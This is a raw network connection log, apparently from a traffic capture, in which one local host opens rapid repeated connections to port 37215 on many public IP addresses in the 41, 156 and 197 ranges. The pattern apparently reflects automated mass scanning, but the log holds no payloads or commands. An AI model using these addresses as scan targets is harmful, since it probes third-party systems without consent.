Aug 6, 2024 08:32:57.842205048 CEST	54878	37215	192.168.2.14	41.84.239.116
Aug 6, 2024 08:32:57.842211008 CEST	57036	37215	192.168.2.14	197.125.78.47
Aug 6, 2024 08:32:57.842211008 CEST	50144	37215	192.168.2.14	41.99.246.34
Aug 6, 2024 08:32:57.842212915 CEST	49632	37215	192.168.2.14	41.99.246.34
Aug 6, 2024 08:32:57.842212915 CEST	49632	37215	192.168.2.14	41.99.246.34
Aug 6, 2024 08:32:57.842231035 CEST	40218	37215	192.168.2.14	41.225.151.149
Aug 6, 2024 08:32:57.842231989 CEST	56304	37215	192.168.2.14	156.226.194.179
Aug 6, 2024 08:32:57.842231989 CEST	56304	37215	192.168.2.14	156.226.194.179
Aug 6, 2024 08:32:57.842248917 CEST	49902	37215	192.168.2.14	156.177.204.221
Aug 6, 2024 08:32:57.842253923 CEST	44336	37215	192.168.2.14	156.216.133.161
Aug 6, 2024 08:32:57.842253923 CEST	56816	37215	192.168.2.14	156.226.194.179
Aug 6, 2024 08:32:57.842262030 CEST	58810	37215	192.168.2.14	41.175.207.136
Aug 6, 2024 08:32:57.842262030 CEST	58810	37215	192.168.2.14	41.175.207.136
Aug 6, 2024 08:32:57.842267036 CEST	39722	37215	192.168.2.14	41.9.222.229
Aug 6, 2024 08:32:57.842267036 CEST	46640	37215	192.168.2.14	197.214.35.214
Aug 6, 2024 08:32:57.842267036 CEST	40960	37215	192.168.2.14	197.158.198.40
Aug 6, 2024 08:32:57.842267036 CEST	56894	37215	192.168.2.14	41.75.95.48
Aug 6, 2024 08:32:57.842288971 CEST	59322	37215	192.168.2.14	41.175.207.136
Aug 6, 2024 08:32:57.842302084 CEST	50104	37215	192.168.2.14	41.139.158.191
Aug 6, 2024 08:32:57.842302084 CEST	50104	37215	192.168.2.14	41.139.158.191
Aug 6, 2024 08:32:57.842309952 CEST	50616	37215	192.168.2.14	41.139.158.191
Aug 6, 2024 08:32:57.842325926 CEST	50328	37215	192.168.2.14	156.210.44.233
Aug 6, 2024 08:32:57.842325926 CEST	50328	37215	192.168.2.14	156.210.44.233
Aug 6, 2024 08:32:57.842353106 CEST	50840	37215	192.168.2.14	156.210.44.233
Aug 6, 2024 08:32:57.842355967 CEST	43240	37215	192.168.2.14	41.180.58.253
Aug 6, 2024 08:32:57.842355967 CEST	43240	37215	192.168.2.14	41.180.58.253
Aug 6, 2024 08:32:57.842375994 CEST	43752	37215	192.168.2.14	41.180.58.253
Aug 6, 2024 08:32:57.842385054 CEST	56768	37215	192.168.2.14	197.229.186.220
Aug 6, 2024 08:32:57.842385054 CEST	56768	37215	192.168.2.14	197.229.186.220
Aug 6, 2024 08:32:57.842438936 CEST	50696	37215	192.168.2.14	197.201.238.246
Aug 6, 2024 08:32:57.842438936 CEST	50696	37215	192.168.2.14	197.201.238.246
Aug 6, 2024 08:32:57.842446089 CEST	51208	37215	192.168.2.14	197.201.238.246
Aug 6, 2024 08:32:57.842446089 CEST	55438	37215	192.168.2.14	41.17.186.253
Aug 6, 2024 08:32:57.842446089 CEST	55438	37215	192.168.2.14	41.17.186.253
Aug 6, 2024 08:32:57.842448950 CEST	57280	37215	192.168.2.14	197.229.186.220
Aug 6, 2024 08:32:57.842468023 CEST	42256	37215	192.168.2.14	197.170.123.35
Aug 6, 2024 08:32:57.842468023 CEST	42256	37215	192.168.2.14	197.170.123.35
Aug 6, 2024 08:32:57.842535973 CEST	42768	37215	192.168.2.14	197.170.123.35
Aug 6, 2024 08:32:57.842539072 CEST	55950	37215	192.168.2.14	41.17.186.253
Aug 6, 2024 08:32:57.842562914 CEST	37215	46410	41.67.69.204	192.168.2.14
Aug 6, 2024 08:32:57.842572927 CEST	53042	37215	192.168.2.14	41.85.183.189
Aug 6, 2024 08:32:57.842572927 CEST	53042	37215	192.168.2.14	41.85.183.189
Aug 6, 2024 08:32:57.842573881 CEST	37215	60224	197.112.240.90	192.168.2.14
Aug 6, 2024 08:32:57.842617035 CEST	53552	37215	192.168.2.14	41.85.183.189
Aug 6, 2024 08:32:57.842643023 CEST	46410	37215	192.168.2.14	41.67.69.204
Aug 6, 2024 08:32:57.842670918 CEST	55402	37215	192.168.2.14	197.132.30.188
Aug 6, 2024 08:32:57.842670918 CEST	55402	37215	192.168.2.14	197.132.30.188
Aug 6, 2024 08:32:57.842674971 CEST	60224	37215	192.168.2.14	197.112.240.90
Aug 6, 2024 08:32:57.842686892 CEST	37215	52882	41.207.104.124	192.168.2.14
Aug 6, 2024 08:32:57.842694044 CEST	55916	37215	192.168.2.14	197.132.30.188
Aug 6, 2024 08:32:57.842698097 CEST	37215	34774	156.124.36.83	192.168.2.14
Aug 6, 2024 08:32:57.842708111 CEST	37215	44062	41.241.250.246	192.168.2.14
Aug 6, 2024 08:32:57.842710972 CEST	43042	37215	192.168.2.14	156.234.152.134
Aug 6, 2024 08:32:57.842710972 CEST	43042	37215	192.168.2.14	156.234.152.134
Aug 6, 2024 08:32:57.842719078 CEST	37215	56328	41.214.215.249	192.168.2.14
Aug 6, 2024 08:32:57.842730045 CEST	37215	51906	156.215.168.4	192.168.2.14
Aug 6, 2024 08:32:57.842740059 CEST	37215	50936	41.2.95.20	192.168.2.14
Aug 6, 2024 08:32:57.842750072 CEST	37215	36340	41.96.92.153	192.168.2.14
Aug 6, 2024 08:32:57.842756033 CEST	44062	37215	192.168.2.14	41.241.250.246
Aug 6, 2024 08:32:57.842756987 CEST	43554	37215	192.168.2.14	156.234.152.134
Aug 6, 2024 08:32:57.842756987 CEST	34774	37215	192.168.2.14	156.124.36.83
Aug 6, 2024 08:32:57.842762947 CEST	52882	37215	192.168.2.14	41.207.104.124
Aug 6, 2024 08:32:57.842762947 CEST	60530	37215	192.168.2.14	197.52.174.50
Aug 6, 2024 08:32:57.842765093 CEST	51906	37215	192.168.2.14	156.215.168.4
Aug 6, 2024 08:32:57.842762947 CEST	60530	37215	192.168.2.14	197.52.174.50
Aug 6, 2024 08:32:57.842766047 CEST	50936	37215	192.168.2.14	41.2.95.20
Aug 6, 2024 08:32:57.842767000 CEST	56328	37215	192.168.2.14	41.214.215.249
Aug 6, 2024 08:32:57.842767000 CEST	32810	37215	192.168.2.14	197.52.174.50
Aug 6, 2024 08:32:57.842770100 CEST	37215	47466	156.241.3.212	192.168.2.14
Aug 6, 2024 08:32:57.842781067 CEST	37215	45850	197.145.206.32	192.168.2.14
Aug 6, 2024 08:32:57.842786074 CEST	36340	37215	192.168.2.14	41.96.92.153
Aug 6, 2024 08:32:57.842791080 CEST	37215	43792	197.220.115.179	192.168.2.14
Aug 6, 2024 08:32:57.842802048 CEST	37215	57564	197.232.216.53	192.168.2.14
Aug 6, 2024 08:32:57.842811108 CEST	45850	37215	192.168.2.14	197.145.206.32
Aug 6, 2024 08:32:57.842812061 CEST	37215	53818	41.217.74.217	192.168.2.14
Aug 6, 2024 08:32:57.842812061 CEST	47466	37215	192.168.2.14	156.241.3.212
Aug 6, 2024 08:32:57.842819929 CEST	43792	37215	192.168.2.14	197.220.115.179
Aug 6, 2024 08:32:57.842822075 CEST	37215	40780	41.65.44.253	192.168.2.14
Aug 6, 2024 08:32:57.842834949 CEST	57564	37215	192.168.2.14	197.232.216.53
Aug 6, 2024 08:32:57.842837095 CEST	37215	36364	197.22.69.25	192.168.2.14
Aug 6, 2024 08:32:57.842847109 CEST	37215	55848	156.118.71.208	192.168.2.14
Aug 6, 2024 08:32:57.842849016 CEST	53818	37215	192.168.2.14	41.217.74.217
Aug 6, 2024 08:32:57.842849016 CEST	32984	37215	192.168.2.14	197.198.169.113
Aug 6, 2024 08:32:57.842856884 CEST	37215	39140	41.136.242.8	192.168.2.14
Aug 6, 2024 08:32:57.842861891 CEST	40780	37215	192.168.2.14	41.65.44.253
Aug 6, 2024 08:32:57.842865944 CEST	32984	37215	192.168.2.14	197.198.169.113
Aug 6, 2024 08:32:57.842868090 CEST	36364	37215	192.168.2.14	197.22.69.25
Aug 6, 2024 08:32:57.842869043 CEST	37215	37464	156.10.5.237	192.168.2.14
Aug 6, 2024 08:32:57.842878103 CEST	33496	37215	192.168.2.14	197.198.169.113
Aug 6, 2024 08:32:57.842881918 CEST	37215	52844	41.219.94.196	192.168.2.14
Aug 6, 2024 08:32:57.842891932 CEST	37215	35508	41.123.254.171	192.168.2.14
Aug 6, 2024 08:32:57.842895031 CEST	55848	37215	192.168.2.14	156.118.71.208
Aug 6, 2024 08:32:57.842895985 CEST	37464	37215	192.168.2.14	156.10.5.237
Aug 6, 2024 08:32:57.842896938 CEST	39140	37215	192.168.2.14	41.136.242.8
Aug 6, 2024 08:32:57.842896938 CEST	43498	37215	192.168.2.14	41.158.83.113
Aug 6, 2024 08:32:57.842896938 CEST	43498	37215	192.168.2.14	41.158.83.113
Aug 6, 2024 08:32:57.842904091 CEST	37215	39934	197.253.137.119	192.168.2.14
Aug 6, 2024 08:32:57.842930079 CEST	37215	39540	197.26.78.192	192.168.2.14
Aug 6, 2024 08:32:57.842943907 CEST	44010	37215	192.168.2.14	41.158.83.113
Aug 6, 2024 08:32:57.842968941 CEST	48858	37215	192.168.2.14	197.194.34.222
Aug 6, 2024 08:32:57.842968941 CEST	48858	37215	192.168.2.14	197.194.34.222
Aug 6, 2024 08:32:57.842973948 CEST	35508	37215	192.168.2.14	41.123.254.171
Aug 6, 2024 08:32:57.842973948 CEST	52844	37215	192.168.2.14	41.219.94.196
Aug 6, 2024 08:32:57.842983007 CEST	37215	39872	156.151.233.217	192.168.2.14
Aug 6, 2024 08:32:57.842984915 CEST	49370	37215	192.168.2.14	197.194.34.222
Aug 6, 2024 08:32:57.842984915 CEST	53150	37215	192.168.2.14	156.196.237.33
Aug 6, 2024 08:32:57.842984915 CEST	53150	37215	192.168.2.14	156.196.237.33
Aug 6, 2024 08:32:57.843000889 CEST	39540	37215	192.168.2.14	197.26.78.192
Aug 6, 2024 08:32:57.843003988 CEST	37215	48444	197.0.151.175	192.168.2.14
Aug 6, 2024 08:32:57.843004942 CEST	39934	37215	192.168.2.14	197.253.137.119
Aug 6, 2024 08:32:57.843004942 CEST	53662	37215	192.168.2.14	156.196.237.33
Aug 6, 2024 08:32:57.843014002 CEST	37215	41842	197.91.92.162	192.168.2.14
Aug 6, 2024 08:32:57.843014002 CEST	39872	37215	192.168.2.14	156.151.233.217
Aug 6, 2024 08:32:57.843014956 CEST	40218	37215	192.168.2.14	41.225.151.149
Aug 6, 2024 08:32:57.843024969 CEST	37215	51952	41.146.250.201	192.168.2.14
Aug 6, 2024 08:32:57.843027115 CEST	40218	37215	192.168.2.14	41.225.151.149
Aug 6, 2024 08:32:57.843031883 CEST	48444	37215	192.168.2.14	197.0.151.175
Aug 6, 2024 08:32:57.843035936 CEST	37215	53436	197.90.150.199	192.168.2.14
Aug 6, 2024 08:32:57.843038082 CEST	40730	37215	192.168.2.14	41.225.151.149
Aug 6, 2024 08:32:57.843045950 CEST	41842	37215	192.168.2.14	197.91.92.162
Aug 6, 2024 08:32:57.843058109 CEST	54878	37215	192.168.2.14	41.84.239.116
Aug 6, 2024 08:32:57.843065023 CEST	54878	37215	192.168.2.14	41.84.239.116
Aug 6, 2024 08:32:57.843070984 CEST	51952	37215	192.168.2.14	41.146.250.201
Aug 6, 2024 08:32:57.843090057 CEST	55390	37215	192.168.2.14	41.84.239.116
Aug 6, 2024 08:32:57.843125105 CEST	57036	37215	192.168.2.14	197.125.78.47
Aug 6, 2024 08:32:57.843125105 CEST	57036	37215	192.168.2.14	197.125.78.47
Aug 6, 2024 08:32:57.843125105 CEST	57548	37215	192.168.2.14	197.125.78.47
Aug 6, 2024 08:32:57.843158007 CEST	39722	37215	192.168.2.14	41.9.222.229
Aug 6, 2024 08:32:57.843177080 CEST	49902	37215	192.168.2.14	156.177.204.221
Aug 6, 2024 08:32:57.843178034 CEST	39722	37215	192.168.2.14	41.9.222.229
Aug 6, 2024 08:32:57.843177080 CEST	49902	37215	192.168.2.14	156.177.204.221
Aug 6, 2024 08:32:57.843180895 CEST	40234	37215	192.168.2.14	41.9.222.229
Aug 6, 2024 08:32:57.843183041 CEST	50414	37215	192.168.2.14	156.177.204.221
Aug 6, 2024 08:32:57.843194008 CEST	37215	53928	197.90.150.199	192.168.2.14
Aug 6, 2024 08:32:57.843195915 CEST	46640	37215	192.168.2.14	197.214.35.214
Aug 6, 2024 08:32:57.843195915 CEST	46640	37215	192.168.2.14	197.214.35.214
Aug 6, 2024 08:32:57.843214035 CEST	47152	37215	192.168.2.14	197.214.35.214
Aug 6, 2024 08:32:57.843228102 CEST	53928	37215	192.168.2.14	197.90.150.199
Aug 6, 2024 08:32:57.843230963 CEST	44336	37215	192.168.2.14	156.216.133.161
Aug 6, 2024 08:32:57.843230963 CEST	44336	37215	192.168.2.14	156.216.133.161
Aug 6, 2024 08:32:57.843246937 CEST	44848	37215	192.168.2.14	156.216.133.161
Aug 6, 2024 08:32:57.843255997 CEST	37215	41816	41.229.93.116	192.168.2.14
Aug 6, 2024 08:32:57.843257904 CEST	56894	37215	192.168.2.14	41.75.95.48
Aug 6, 2024 08:32:57.843257904 CEST	56894	37215	192.168.2.14	41.75.95.48
Aug 6, 2024 08:32:57.843269110 CEST	37215	42322	41.229.93.116	192.168.2.14
Aug 6, 2024 08:32:57.843281031 CEST	37215	33714	197.14.35.101	192.168.2.14
Aug 6, 2024 08:32:57.843283892 CEST	57406	37215	192.168.2.14	41.75.95.48
Aug 6, 2024 08:32:57.843297958 CEST	40960	37215	192.168.2.14	197.158.198.40
Aug 6, 2024 08:32:57.843338966 CEST	42322	37215	192.168.2.14	41.229.93.116
Aug 6, 2024 08:32:57.843339920 CEST	41472	37215	192.168.2.14	197.158.198.40
Aug 6, 2024 08:32:57.843364954 CEST	42322	37215	192.168.2.14	41.229.93.116
Aug 6, 2024 08:32:57.843369007 CEST	40960	37215	192.168.2.14	197.158.198.40
Aug 6, 2024 08:32:57.843369007 CEST	37215	34218	197.14.35.101	192.168.2.14
Aug 6, 2024 08:32:57.843375921 CEST	53928	37215	192.168.2.14	197.90.150.199
Aug 6, 2024 08:32:57.843394041 CEST	37215	58932	197.42.1.152	192.168.2.14
Aug 6, 2024 08:32:57.843399048 CEST	60224	37215	192.168.2.14	197.112.240.90
Aug 6, 2024 08:32:57.843399048 CEST	60224	37215	192.168.2.14	197.112.240.90
Aug 6, 2024 08:32:57.843405008 CEST	37215	59422	197.42.1.152	192.168.2.14
Aug 6, 2024 08:32:57.843413115 CEST	60736	37215	192.168.2.14	197.112.240.90
Aug 6, 2024 08:32:57.843413115 CEST	34218	37215	192.168.2.14	197.14.35.101
Aug 6, 2024 08:32:57.843440056 CEST	59422	37215	192.168.2.14	197.42.1.152
Aug 6, 2024 08:32:57.843442917 CEST	52882	37215	192.168.2.14	41.207.104.124
Aug 6, 2024 08:32:57.843442917 CEST	52882	37215	192.168.2.14	41.207.104.124
Aug 6, 2024 08:32:57.843457937 CEST	53394	37215	192.168.2.14	41.207.104.124
Aug 6, 2024 08:32:57.843470097 CEST	46410	37215	192.168.2.14	41.67.69.204
Aug 6, 2024 08:32:57.843470097 CEST	46410	37215	192.168.2.14	41.67.69.204
Aug 6, 2024 08:32:57.843523979 CEST	37215	46704	156.20.59.113	192.168.2.14
Aug 6, 2024 08:32:57.843543053 CEST	34774	37215	192.168.2.14	156.124.36.83
Aug 6, 2024 08:32:57.843543053 CEST	35286	37215	192.168.2.14	156.124.36.83
Aug 6, 2024 08:32:57.843544960 CEST	44062	37215	192.168.2.14	41.241.250.246
Aug 6, 2024 08:32:57.843543053 CEST	46922	37215	192.168.2.14	41.67.69.204
Aug 6, 2024 08:32:57.843543053 CEST	34774	37215	192.168.2.14	156.124.36.83
Aug 6, 2024 08:32:57.843544960 CEST	44062	37215	192.168.2.14	41.241.250.246
Aug 6, 2024 08:32:57.843555927 CEST	44574	37215	192.168.2.14	41.241.250.246
Aug 6, 2024 08:32:57.843588114 CEST	37215	47186	156.20.59.113	192.168.2.14
Aug 6, 2024 08:32:57.843596935 CEST	56840	37215	192.168.2.14	41.214.215.249
Aug 6, 2024 08:32:57.843605995 CEST	50936	37215	192.168.2.14	41.2.95.20
Aug 6, 2024 08:32:57.843614101 CEST	50936	37215	192.168.2.14	41.2.95.20
Aug 6, 2024 08:32:57.843616009 CEST	56328	37215	192.168.2.14	41.214.215.249
Aug 6, 2024 08:32:57.843616009 CEST	56328	37215	192.168.2.14	41.214.215.249
Aug 6, 2024 08:32:57.843622923 CEST	37215	45330	41.218.183.57	192.168.2.14
Aug 6, 2024 08:32:57.843638897 CEST	47186	37215	192.168.2.14	156.20.59.113
Aug 6, 2024 08:32:57.843641043 CEST	37215	60396	156.255.113.130	192.168.2.14
Aug 6, 2024 08:32:57.843655109 CEST	51448	37215	192.168.2.14	41.2.95.20
Aug 6, 2024 08:32:57.843667030 CEST	36340	37215	192.168.2.14	41.96.92.153
Aug 6, 2024 08:32:57.843667030 CEST	36340	37215	192.168.2.14	41.96.92.153
Aug 6, 2024 08:32:57.843677998 CEST	36852	37215	192.168.2.14	41.96.92.153
Aug 6, 2024 08:32:57.843679905 CEST	51906	37215	192.168.2.14	156.215.168.4
Aug 6, 2024 08:32:57.843679905 CEST	51906	37215	192.168.2.14	156.215.168.4
Aug 6, 2024 08:32:57.843697071 CEST	52418	37215	192.168.2.14	156.215.168.4
Aug 6, 2024 08:32:57.843710899 CEST	43792	37215	192.168.2.14	197.220.115.179
Aug 6, 2024 08:32:57.843710899 CEST	43792	37215	192.168.2.14	197.220.115.179
Aug 6, 2024 08:32:57.843741894 CEST	47466	37215	192.168.2.14	156.241.3.212
Aug 6, 2024 08:32:57.843763113 CEST	44304	37215	192.168.2.14	197.220.115.179
Aug 6, 2024 08:32:57.843785048 CEST	47466	37215	192.168.2.14	156.241.3.212
Aug 6, 2024 08:32:57.843797922 CEST	45850	37215	192.168.2.14	197.145.206.32
Aug 6, 2024 08:32:57.843797922 CEST	45850	37215	192.168.2.14	197.145.206.32
Aug 6, 2024 08:32:57.843800068 CEST	47978	37215	192.168.2.14	156.241.3.212
Aug 6, 2024 08:32:57.843808889 CEST	46362	37215	192.168.2.14	197.145.206.32
Aug 6, 2024 08:32:57.843820095 CEST	40174	37215	192.168.2.14	156.115.169.96
Aug 6, 2024 08:32:57.843832970 CEST	45542	37215	192.168.2.14	156.9.49.106
Aug 6, 2024 08:32:57.843861103 CEST	34218	37215	192.168.2.14	197.14.35.101
Aug 6, 2024 08:32:57.843868971 CEST	59422	37215	192.168.2.14	197.42.1.152
Aug 6, 2024 08:32:57.843893051 CEST	47186	37215	192.168.2.14	156.20.59.113
Aug 6, 2024 08:32:57.843894958 CEST	37215	45798	41.218.183.57	192.168.2.14
Aug 6, 2024 08:32:57.843905926 CEST	37215	60858	156.255.113.130	192.168.2.14
Aug 6, 2024 08:32:57.843914986 CEST	37215	52772	41.146.232.115	192.168.2.14
Aug 6, 2024 08:32:57.843925953 CEST	37215	52702	197.228.21.108	192.168.2.14
Aug 6, 2024 08:32:57.843935966 CEST	57564	37215	192.168.2.14	197.232.216.53
Aug 6, 2024 08:32:57.843935966 CEST	57564	37215	192.168.2.14	197.232.216.53
Aug 6, 2024 08:32:57.843935966 CEST	58080	37215	192.168.2.14	197.232.216.53
Aug 6, 2024 08:32:57.843945026 CEST	45798	37215	192.168.2.14	41.218.183.57
Aug 6, 2024 08:32:57.843955040 CEST	60858	37215	192.168.2.14	156.255.113.130
Aug 6, 2024 08:32:57.843976021 CEST	40780	37215	192.168.2.14	41.65.44.253
Aug 6, 2024 08:32:57.843976021 CEST	40780	37215	192.168.2.14	41.65.44.253
Aug 6, 2024 08:32:57.843993902 CEST	41296	37215	192.168.2.14	41.65.44.253
Aug 6, 2024 08:32:57.844010115 CEST	36364	37215	192.168.2.14	197.22.69.25
Aug 6, 2024 08:32:57.844010115 CEST	36364	37215	192.168.2.14	197.22.69.25
Aug 6, 2024 08:32:57.844053984 CEST	53818	37215	192.168.2.14	41.217.74.217
Aug 6, 2024 08:32:57.844053984 CEST	53818	37215	192.168.2.14	41.217.74.217
Aug 6, 2024 08:32:57.844053984 CEST	54334	37215	192.168.2.14	41.217.74.217
Aug 6, 2024 08:32:57.844062090 CEST	36880	37215	192.168.2.14	197.22.69.25
Aug 6, 2024 08:32:57.844075918 CEST	55848	37215	192.168.2.14	156.118.71.208
Aug 6, 2024 08:32:57.844075918 CEST	55848	37215	192.168.2.14	156.118.71.208
Aug 6, 2024 08:32:57.844075918 CEST	56364	37215	192.168.2.14	156.118.71.208
Aug 6, 2024 08:32:57.844085932 CEST	39140	37215	192.168.2.14	41.136.242.8
Aug 6, 2024 08:32:57.844120979 CEST	37215	53234	41.146.232.115	192.168.2.14
Aug 6, 2024 08:32:57.844124079 CEST	39140	37215	192.168.2.14	41.136.242.8
Aug 6, 2024 08:32:57.844129086 CEST	37464	37215	192.168.2.14	156.10.5.237
Aug 6, 2024 08:32:57.844130993 CEST	37215	45960	197.28.1.133	192.168.2.14
Aug 6, 2024 08:32:57.844129086 CEST	37464	37215	192.168.2.14	156.10.5.237
Aug 6, 2024 08:32:57.844141006 CEST	37215	53156	197.228.21.108	192.168.2.14
Aug 6, 2024 08:32:57.844151974 CEST	37215	46414	197.28.1.133	192.168.2.14
Aug 6, 2024 08:32:57.844157934 CEST	53234	37215	192.168.2.14	41.146.232.115
Aug 6, 2024 08:32:57.844160080 CEST	37980	37215	192.168.2.14	156.10.5.237
Aug 6, 2024 08:32:57.844161034 CEST	37215	56898	41.247.44.228	192.168.2.14
Aug 6, 2024 08:32:57.844186068 CEST	39656	37215	192.168.2.14	41.136.242.8
Aug 6, 2024 08:32:57.844198942 CEST	40450	37215	192.168.2.14	197.253.137.119
Aug 6, 2024 08:32:57.844198942 CEST	53156	37215	192.168.2.14	197.228.21.108
Aug 6, 2024 08:32:57.844198942 CEST	52844	37215	192.168.2.14	41.219.94.196
Aug 6, 2024 08:32:57.844208002 CEST	52844	37215	192.168.2.14	41.219.94.196
Aug 6, 2024 08:32:57.844211102 CEST	39934	37215	192.168.2.14	197.253.137.119
Aug 6, 2024 08:32:57.844211102 CEST	39934	37215	192.168.2.14	197.253.137.119
Aug 6, 2024 08:32:57.844218969 CEST	46414	37215	192.168.2.14	197.28.1.133
Aug 6, 2024 08:32:57.844237089 CEST	53360	37215	192.168.2.14	41.219.94.196
Aug 6, 2024 08:32:57.844244003 CEST	39540	37215	192.168.2.14	197.26.78.192
Aug 6, 2024 08:32:57.844244003 CEST	39540	37215	192.168.2.14	197.26.78.192
Aug 6, 2024 08:32:57.844264984 CEST	40056	37215	192.168.2.14	197.26.78.192
Aug 6, 2024 08:32:57.844274044 CEST	35508	37215	192.168.2.14	41.123.254.171
Aug 6, 2024 08:32:57.844290018 CEST	37215	57348	41.247.44.228	192.168.2.14
Aug 6, 2024 08:32:57.844295025 CEST	35508	37215	192.168.2.14	41.123.254.171
Aug 6, 2024 08:32:57.844301939 CEST	37215	34534	156.51.145.41	192.168.2.14
Aug 6, 2024 08:32:57.844304085 CEST	36024	37215	192.168.2.14	41.123.254.171
Aug 6, 2024 08:32:57.844306946 CEST	48444	37215	192.168.2.14	197.0.151.175
Aug 6, 2024 08:32:57.844310999 CEST	37215	34984	156.51.145.41	192.168.2.14
Aug 6, 2024 08:32:57.844343901 CEST	48444	37215	192.168.2.14	197.0.151.175
Aug 6, 2024 08:32:57.844345093 CEST	48960	37215	192.168.2.14	197.0.151.175
Aug 6, 2024 08:32:57.844348907 CEST	57348	37215	192.168.2.14	41.247.44.228
Aug 6, 2024 08:32:57.844353914 CEST	39872	37215	192.168.2.14	156.151.233.217
Aug 6, 2024 08:32:57.844355106 CEST	39872	37215	192.168.2.14	156.151.233.217
Aug 6, 2024 08:32:57.844372034 CEST	40388	37215	192.168.2.14	156.151.233.217
Aug 6, 2024 08:32:57.844376087 CEST	34984	37215	192.168.2.14	156.51.145.41
Aug 6, 2024 08:32:57.844394922 CEST	41842	37215	192.168.2.14	197.91.92.162
Aug 6, 2024 08:32:57.844394922 CEST	41842	37215	192.168.2.14	197.91.92.162
Aug 6, 2024 08:32:57.844417095 CEST	42358	37215	192.168.2.14	197.91.92.162
Aug 6, 2024 08:32:57.844429970 CEST	51952	37215	192.168.2.14	41.146.250.201
Aug 6, 2024 08:32:57.844429970 CEST	51952	37215	192.168.2.14	41.146.250.201
Aug 6, 2024 08:32:57.844453096 CEST	33972	37215	192.168.2.14	156.84.121.52
Aug 6, 2024 08:32:57.844455004 CEST	52468	37215	192.168.2.14	41.146.250.201
Aug 6, 2024 08:32:57.844460964 CEST	37215	58684	156.243.120.101	192.168.2.14
Aug 6, 2024 08:32:57.844471931 CEST	37215	34372	197.173.7.129	192.168.2.14
Aug 6, 2024 08:32:57.844474077 CEST	51184	37215	192.168.2.14	156.12.183.66
Aug 6, 2024 08:32:57.844490051 CEST	37215	33838	197.173.7.129	192.168.2.14
Aug 6, 2024 08:32:57.844495058 CEST	44448	37215	192.168.2.14	41.175.71.81
Aug 6, 2024 08:32:57.844552040 CEST	45798	37215	192.168.2.14	41.218.183.57
Aug 6, 2024 08:32:57.844554901 CEST	60858	37215	192.168.2.14	156.255.113.130
Aug 6, 2024 08:32:57.844563007 CEST	53234	37215	192.168.2.14	41.146.232.115
Aug 6, 2024 08:32:57.844578028 CEST	53156	37215	192.168.2.14	197.228.21.108
Aug 6, 2024 08:32:57.844582081 CEST	46414	37215	192.168.2.14	197.28.1.133
Aug 6, 2024 08:32:57.844584942 CEST	34372	37215	192.168.2.14	197.173.7.129
Aug 6, 2024 08:32:57.844584942 CEST	34372	37215	192.168.2.14	197.173.7.129
Aug 6, 2024 08:32:57.844598055 CEST	57348	37215	192.168.2.14	41.247.44.228
Aug 6, 2024 08:32:57.844604969 CEST	34984	37215	192.168.2.14	156.51.145.41
Aug 6, 2024 08:32:57.844621897 CEST	37384	37215	192.168.2.14	41.113.154.68
Aug 6, 2024 08:32:57.844623089 CEST	37215	59220	156.243.120.101	192.168.2.14
Aug 6, 2024 08:32:57.844635010 CEST	45940	37215	192.168.2.14	197.153.83.250
Aug 6, 2024 08:32:57.844655991 CEST	52014	37215	192.168.2.14	41.97.122.146
Aug 6, 2024 08:32:57.844659090 CEST	37215	50446	197.130.113.46	192.168.2.14
Aug 6, 2024 08:32:57.844660997 CEST	46490	37215	192.168.2.14	197.148.25.151
Aug 6, 2024 08:32:57.844662905 CEST	59220	37215	192.168.2.14	156.243.120.101
Aug 6, 2024 08:32:57.844666004 CEST	42962	37215	192.168.2.14	156.46.53.169
Aug 6, 2024 08:32:57.844669104 CEST	37215	47040	41.138.212.138	192.168.2.14
Aug 6, 2024 08:32:57.844680071 CEST	37215	46520	41.138.212.138	192.168.2.14
Aug 6, 2024 08:32:57.844681025 CEST	44138	37215	192.168.2.14	156.240.242.22
Aug 6, 2024 08:32:57.844691038 CEST	54338	37215	192.168.2.14	41.158.14.71
Aug 6, 2024 08:32:57.844715118 CEST	42356	37215	192.168.2.14	197.3.222.193
Aug 6, 2024 08:32:57.844719887 CEST	47040	37215	192.168.2.14	41.138.212.138
Aug 6, 2024 08:32:57.844722986 CEST	59220	37215	192.168.2.14	156.243.120.101
Aug 6, 2024 08:32:57.844811916 CEST	47040	37215	192.168.2.14	41.138.212.138
Aug 6, 2024 08:32:57.844814062 CEST	55068	37215	192.168.2.14	41.189.168.243
Aug 6, 2024 08:32:57.844814062 CEST	41446	37215	192.168.2.14	156.88.39.9
Aug 6, 2024 08:32:57.844913960 CEST	37215	58014	197.132.154.218	192.168.2.14
Aug 6, 2024 08:32:57.844924927 CEST	37215	50976	197.130.113.46	192.168.2.14
Aug 6, 2024 08:32:57.844933033 CEST	37215	57494	197.132.154.218	192.168.2.14
Aug 6, 2024 08:32:57.844942093 CEST	37215	34850	197.216.33.121	192.168.2.14
Aug 6, 2024 08:32:57.844955921 CEST	58014	37215	192.168.2.14	197.132.154.218
Aug 6, 2024 08:32:57.844981909 CEST	50976	37215	192.168.2.14	197.130.113.46
Aug 6, 2024 08:32:57.845011950 CEST	58014	37215	192.168.2.14	197.132.154.218
Aug 6, 2024 08:32:57.845011950 CEST	50976	37215	192.168.2.14	197.130.113.46
Aug 6, 2024 08:32:57.845030069 CEST	38470	37215	192.168.2.14	197.190.71.95
Aug 6, 2024 08:32:57.845037937 CEST	42780	37215	192.168.2.14	197.151.199.82
Aug 6, 2024 08:32:57.845194101 CEST	37215	35352	197.216.33.121	192.168.2.14
Aug 6, 2024 08:32:57.845206022 CEST	37215	42098	41.156.102.139	192.168.2.14
Aug 6, 2024 08:32:57.845227957 CEST	37215	42596	41.156.102.139	192.168.2.14
Aug 6, 2024 08:32:57.845237970 CEST	35352	37215	192.168.2.14	197.216.33.121
Aug 6, 2024 08:32:57.845261097 CEST	42596	37215	192.168.2.14	41.156.102.139
Aug 6, 2024 08:32:57.845273018 CEST	35352	37215	192.168.2.14	197.216.33.121
Aug 6, 2024 08:32:57.845289946 CEST	34420	37215	192.168.2.14	156.105.22.195
Aug 6, 2024 08:32:57.845308065 CEST	37215	36186	156.224.13.65	192.168.2.14
Aug 6, 2024 08:32:57.845315933 CEST	42596	37215	192.168.2.14	41.156.102.139
Aug 6, 2024 08:32:57.845319033 CEST	37215	36706	156.224.13.65	192.168.2.14
Aug 6, 2024 08:32:57.845330954 CEST	37215	38808	156.5.79.218	192.168.2.14
Aug 6, 2024 08:32:57.845345020 CEST	35050	37215	192.168.2.14	197.202.174.153
Aug 6, 2024 08:32:57.845359087 CEST	36706	37215	192.168.2.14	156.224.13.65
Aug 6, 2024 08:32:57.845369101 CEST	36706	37215	192.168.2.14	156.224.13.65
Aug 6, 2024 08:32:57.845385075 CEST	34588	37215	192.168.2.14	156.176.4.128
